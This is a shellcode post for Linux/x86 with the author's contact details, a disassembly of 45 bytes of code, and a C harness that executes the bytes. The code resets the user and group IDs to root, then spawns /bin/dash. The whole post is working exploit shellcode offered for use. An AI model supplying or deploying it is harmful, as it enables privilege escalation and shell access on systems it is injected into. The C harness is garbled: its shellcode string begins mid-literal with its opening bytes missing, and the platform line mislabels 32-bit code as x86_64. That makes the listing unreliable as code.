linux/x86 exec ('/bin/dash') - shellcode 45 bytes

/*
# Title: Linux/x86 exec('/bin/dash') - shellcode 45 bytes
# Platform: linux/x86_64
# Date: 2015-06-15
# Author: Mohammad Reza Espargham
#    Linkedin    :   https://ir.linkedin.com/in/rezasp
#    E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
#    Website     :   www.reza.es
#    Twitter     :   https://twitter.com/rezesp
#    FaceBook    :   https://www.facebook.com/mohammadreza.espargham

Disassembly of section .text:

00000000 <.text>:
    0:  b0 46                  mov    $0x46,%al
    2:  31 db                  xor    %ebx,%ebx
    4:  31 c9                  xor    %ecx,%ecx
    6:  cd 80                  int    $0x80
    8:  68 90 90 90 68         push   $0x68909090
    d:  58                     pop    %eax
    e:  c1 e8 10               shr    $0x10,%eax
   11:  c1 e8 08               shr    $0x8,%eax
   14:  50                     push   %eax
   15:  68 2f 64 61 73         push   $0x7361642f
   1a:  68 2f 62 69 6e         push   $0x6e69622f
   1f:  89 e3                  mov    %esp,%ebx
   21:  31 c0                  xor    %eax,%eax
   23:  b0 0b                  mov    $0xb,%al
   25:  cd 80                  int    $0x80
   27:  b0 01                  mov    $0x1,%al
   29:  b3 01                  mov    $0x1,%bl
   2b:  cd 80                  int    $0x80
*/

#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[]=
  
2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
     (*(void(*)()) shellcode)();
}